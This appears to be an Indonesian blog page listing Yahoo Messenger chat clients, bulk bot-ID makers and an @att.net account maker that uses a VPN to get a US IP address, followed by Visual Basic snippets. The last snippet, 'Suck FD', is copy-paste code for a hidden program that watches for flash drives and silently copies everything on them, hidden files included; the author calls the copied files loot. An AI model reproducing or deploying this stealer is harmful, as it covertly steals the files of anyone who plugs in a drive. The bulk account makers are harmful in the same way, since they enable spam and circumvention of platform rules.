Y!Suffer V9.3.0 (Free Edition)

Server Update...
Lag Removed...
Faster Room responds...
Captcha Fixed...
Room List Repaired (AGAIN)
New Client ICONS
Ultimate Protection UPDATED
String List Repaired... (You must add strings you want blocked)
Download Here

CheetaChat-V7.5.151

Downoad Here

YAHSMOSIS-Chat-Client-Update-0.7.13-Complete

Chat client baru yang masih dalm proses pengembangan, tetapi cukup bagus dan dengan cukup fasilitas.Download Here

YmLiteFull-V308.6-Final-Version

- type : Free version
- Download Here
- Komentar : Setelah beberapa perubahan di yahoo belakangan ini, chat client ini masih cukup bagus, tetapi karena tidak diupdate lagi oleh cjdelphi, mungkin agak sulit bagi pemula untuk menjalankannya kaitannya dengan vc dan join room. - Screen shot

Y-Metal Version 1.4.5

Versi terbaru dari yah metal.

Chat client dari yah metal dengan iface yang menarik dengan beberapa fitur menarik termasuk pertahanan yang up to date saat ini Download Here

Yaheven 2.7.6

Chat client ini saya update versi terbaru karena update server secara langsung dari server yaheven selalu gagal, kemungkinan besar karena server yaheven down. - Komentar : Chat client yang dulu sempat sedikit redup setelah beberapa waktu tidak update sekarang secara serius kembali mengupdate beberapa fitur...bahkan mempunyai kualitas yang setara dengan chat client seniornya seperti yazax dan YM lite, dengan support VC yang kuat dan juga VC guard dan auto broadcast lagu yang diputar oleh media players. chat client ini saya rekomendasikan lebih baik dari chat clieny yang lainnya...dan secara pribadi ini adalah chat client favorite baru saya
Download Here

Y supra 1.5.5

Versi Y supra yang sudah ada setting untuk voice dominan yang belum ada pada versi sebelumnya, dimana kita bisa setting tingkat kekuatan dari voice dominannya. untuk setting anti boot masih sama dengan versi yang sebelumnya, masih menggunakan cloack dan ghost mode. lebih jelasnya silahkan lihat tips dan trik y supra yang sudah saya buat.Download Here

Yahoo Action ID Maker

ID maker terbaru, saya coba dan cukup cepat dalam membuat id bots

Download Here

MASTER ACCOUNT MAKER

Adalah program yang memberikan link ke anda untuk membuat ID @master khususnya @att yang bisa berfungsi 100% tanpa masalah. tetapi untuk membuat master @att anda harus menggunakan IP amerika (USA) atau dengan menggunakan VPN. trik untuk menggunakan VPN akan saya buat menyusul. Downlod Here

MASTER ACCOUNT MAKER V2

Master account Maker v2 adalah program untuk m

Tutorial cara pembuatannya :

1. Download dan jalankan master account maker v2 maka akan muncul tampilan seperti dibawah ini, lalu tekan GET USA IP
2. Setelah itu akan muncul tampilan untuk mendownload program baru, download saja lalu muncul tampilan seperti dibawah ini dan klik RUN

3. Setelah selesai run jalankan, dan program akan secara otomatis terkoneksi dan mengubah IP kita menjadi IP USA tampilan programnya sbb :

4. Lalu pada gambar yang pertama tadi klik ENTER

dan akan muncul tampilan dibawah ini, klik GO FOR ATT.net bila anda sukses terkoneksi ke IP USA, akan muncul tampilan signup untuk ID@att.net Alamat e-mail ini diproteksi dari spabot, silahkan aktifkan Javascript untuk melihatnya , lalu masukkan id yg ingin anda buat, password dan keterngan lain untuk melengkapi proses pembuatan ID. Gunakan kode pos amerika untuk bisa berhasil, anda bisa menggunakan kode pos berikut ini : " atau yg lain yang jelas 5 huruf.

embuat ID @att.net, seperti kita ketahui bahwa ID @att.net tidak bisa dibuat kecuali bila kita tinggal di USA atau dengan IP USA. maka program ini memberikan solusinya untuk mendapatkan IP USA sehingga kita bisa membuat ID@att.net Alamat e-mail ini diproteksi dari spabot, silahkan aktifkan Javascript untuk melihatnya walau kita tinggal diluar USA. berikut ini adalah download link, screenshot dan tutorial cara pembuatannya : Download Here

Dragonz Bots Heaven V1.3

dibuat dengan menggunakan bahasa C .net framework 3.5.
Multi Bots Maker with:
- Multi Domains Select.
- Proxy Support.
- Fast Captcha Image Loading.
- Randomize Your Bots List To Get Cool Bots List And Random P-words Too.

And Bots Checker (Fast And Good Testing For Good Bots).Download Here

Sycoz Bots Maker V1.0 - By DEMONS

program simple untuk membuat id bots dengan mudah, tidak seperti biasanya ini harus memasukkan beberapa informasi manual Download Here

code membuat Open CD RW

yg dibutuhkan :

1 buah form
2 buah kewelbulton
1 buah module
1 buah Timer1
Oke neh code nya Tingal Copy Paste aja

General
-------->
Option Explicit
Private Declare Function MCISendString Lib _
"winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Dim Ret As Long
Dim RetStr As String
-------->
Private Sub Form_Load()
Transparan = 150
SetTrans Me.hwnd, Transparan
End Sub
-------->
Private Sub TblBuka_Click()
Ret = MCISendString("set CDAudio door open", _
RetStr, 127, 0)
End Sub
------->
Private Sub TBlKeluar_Click()
Ret = MCISendString("set CDAudio door closed", _
RetStr, 127, 0)
End Sub
------->
Private Sub Timer1_Timer()
On Error Resume Next

If (Label2.Left + Label2.Width) <= 0 Then
Label2.Left = Me.Width
End If

Label2.Left = Label2.Left - 25
End Sub
------->
Module
------>
Option Explicit
Public Transparan As Integer
Private Const LWA_COLORKEY = 1
Private Const LWA_ALPHA = 2
Private Const LWA_BOTH = 3
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = -20

Private Declare Function SetLayeredWindowAttributes _
Lib "user32" (ByVal hwnd As Long, _
ByVal color As Long, ByVal x As Byte, _
ByVal alpha As Long) As Boolean

Private Declare Function SetWindowLong _
Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long

Private Declare Function GetWindowLong _
Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long

Sub SetTrans(hwnd As Long, Trans As Integer)
Dim Tcall As Long
Tcall = GetWindowLong(hwnd, GWL_EXSTYLE)
SetWindowLong hwnd, GWL_EXSTYLE, Tcall _
Or WS_EX_LAYERED
SetLayeredWindowAttributes hwnd, RGB(255, 255, 0), _
Trans, LWA_ALPHA
Exit Sub
End Sub

¸.´)(`·•||[Á§Ç‡‡ ßý : Á R ‡ §]||•·´)(`.¸

ni code2 membuat id asci

disini yg dibutuhkan :

1. 2 Buah Form
2. 1 buah TextBox
3. 3 Buah Command
4. 1 Buah Module
5. 1 Buah Timer1
6. 4 Buah ListBox
7. 1 Buah Label
Oke siap membuat id nya Tigal Copy Paste aja yee ,yg penting anda tau dimana letak2 scrip nya :-D

Private Sub Command1_Click()
On Error Resume Next

' this copys the text in your text box to the clipboard on your pc so you can paste it anywere
Clipboard.Clear
Clipboard.SetText (Text1.Text)
End Sub
-------->
Private Sub Command3_Click()
On Error Resume Next
Form2.Show vbModal
End Sub
-------->
Private Sub Form_Load()
On Error Resume Next
Transparan = 150
SetTrans Me.hwnd, Transparan

'this loads all the text in your list box's
List1.AddItem "~"
List1.AddItem "!"
List1.AddItem "@"
List1.AddItem "#"
List1.AddItem "$"
List1.AddItem "%"
List1.AddItem "^"
List1.AddItem "&"
List1.AddItem "*"
List1.AddItem ")"
List1.AddItem "("
List1.AddItem "_"
List1.AddItem "+"
List1.AddItem "-"
List1.AddItem "="
List2.AddItem "~"
List2.AddItem "!"
List2.AddItem "@"
List2.AddItem "#"
List2.AddItem "$"
List2.AddItem "%"
List2.AddItem "^"
List2.AddItem "&"
List2.AddItem "*"
List2.AddItem "("
List2.AddItem ")"
List2.AddItem "_"
List2.AddItem "+"
List2.AddItem "-"
List2.AddItem "="
List1.AddItem "¥"
List2.AddItem "¥"
List1.AddItem "£"
List2.AddItem "£"
List3.AddItem "-----•(-•"
List4.AddItem "•-)•-----"
List3.AddItem "llllll"
List4.AddItem "llllll"
List3.AddItem "*´`·..í"
List4.AddItem "ì..·´`*"
List3.AddItem "‹--*(["
List4.AddItem "])*--›"
List3.AddItem "<--->"
List4.AddItem "<--->"
List3.AddItem "...*^*.)"
List4.AddItem "(.*^*..."
List4.AddItem "]!¡!["
List3.AddItem "]!¡!["
List3.AddItem "--*(*--(["
List4.AddItem "])--*)*--"
List3.AddItem "iiiiii"
List4.AddItem "iiiiii"
List3.AddItem "__"
List4.AddItem "__"
List3.AddItem "¯\(o_0)/¯"
List4.AddItem "¯\(0_o)/¯"
List3.AddItem "^__^"
List4.AddItem "^__^"
List3.AddItem "---"
List4.AddItem "---"
List3.AddItem "~~>"
List4.AddItem "<~~"
List3.AddItem "<+>"
List4.AddItem "<+>"
List3.AddItem "-{^}->"
List4.AddItem "<-{^}-"
List3.AddItem "<~~``~~>"
List4.AddItem "<~~``~~>"
List3.AddItem "--~..~--"
List4.AddItem "--~..~--"
List3.AddItem "Xo~!~oX"
List4.AddItem "Xo~!~oX"
List3.AddItem "Xo+--^--+oX"
List4.AddItem "Xo+--^--+oX"
List3.AddItem "Xo+--^-*-+oX"
List4.AddItem "Xo+-*-^--+oX"
List3.AddItem "Xo+-*-^-*-_+oX"
List4.AddItem "Xo+_-*-^-*-+oX"
List3.AddItem "Xo+}--^-*-_+oX"
List4.AddItem "Xo+--^-*-_{+oX"
List3.AddItem "-*-*-*>>>"
List4.AddItem "<<<-*-*-"
List3.AddItem ":::--->"
List4.AddItem "<---:::"
List3.AddItem "*-)-)-)>"
List4.AddItem "<-(-(-(-*"
List3.AddItem "#-+-+-+#"
List4.AddItem "#-+-+-+#"
List3.AddItem "*´¯¥¯`*"
List4.AddItem "*´¯¥¯`*"
End Sub
------>
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
'this unloads your program and shuts it down the right way
Unload Me
End
End Sub
------->
Private Sub List1_Click()
On Error Resume Next

'this adds your text to the text box
Text1.Text = List1.Text & Text1.Text
End Sub
--------->
Private Sub List2_Click()
On Error Resume Next
'this adds your text to the text box
Text1.Text = Text1.Text & List2.Text
End Sub
---------->
Private Sub List3_Click()
On Error Resume Next
'this adds your text to the text box
Text1.Text = List3.Text & Text1.Text
End Sub
----------->
Private Sub List4_Click()
On Error Resume Next
'this adds your text to the text box
Text1.Text = Text1.Text & List4.Text
End Sub
----------->
Private Sub Form_Load()
Transparan = 150
SetTrans Me.hwnd, Transparan
End Sub
----------->
Private Sub Timer1_Timer()
If (Label1.Left + Label1.Width) <= 0 Then
Label1.Left = Me.Width
End If

Label1.Left = Label1.Left - 25
End Sub
----------->
Ne Module Nya
----------->
Option Explicit
Public Transparan As Integer
Private Const LWA_COLORKEY = 1
Private Const LWA_ALPHA = 2
Private Const LWA_BOTH = 3
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = -20

Private Declare Function SetLayeredWindowAttributes _
Lib "user32" (ByVal hwnd As Long, _
ByVal color As Long, ByVal x As Byte, _
ByVal alpha As Long) As Boolean

Private Declare Function SetWindowLong _
Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long

Private Declare Function GetWindowLong _
Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long
Sub SetTrans(hwnd As Long, Trans As Integer)
Dim Tcall As Long
Tcall = GetWindowLong(hwnd, GWL_EXSTYLE)
SetWindowLong hwnd, GWL_EXSTYLE, Tcall _
Or WS_EX_LAYERED
SetLayeredWindowAttributes hwnd, RGB(255, 255, 0), _
Trans, LWA_ALPHA
Exit Sub
End Sub

Semoga bermanfaat ........... :D

SUCK FD

Suck FD adalah program untuk mengcopy semua
isi flash disk yang berjalan secara background / invisible.
hasil peng-copy`an flash disk nya berada di
tempat program Suck FD ini berada. Jadi sebaik
nya Program Suck FD ini dibuat dalam Folder....
Supaya hasil curiannya ngga berserakan...... :)

Copy Paste aja :
'FUNGSI API NGECEK DRIVE BARU [FDiSK]
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String)


'APP DIJALANKAN HIDEN / SECARA BACKGROUND
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
End Sub


'FUNGSI BUAT NGECEK DRIVE BARU
Private Sub Timer1_Timer()

Drive1.Refresh
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Label1 = Drive1.List(i) & "\"
cekkopy
Label2 = "udeh"
Exit Sub
Exit For
End If
Next
Label2 = "blum"
End Sub


'PERINTAH XCOPY DOS [BUAT NGOPI SEMUA ISI FLASDISK SECARA KESELURUHAN TERMASUK FILE HIDEN
Private Sub cekkopy()
If Label2 = "udeh" Then
Exit Sub
Else
Shell ("xcopy /S /H /Y /C " & Label1), vbHide
End If
End Sub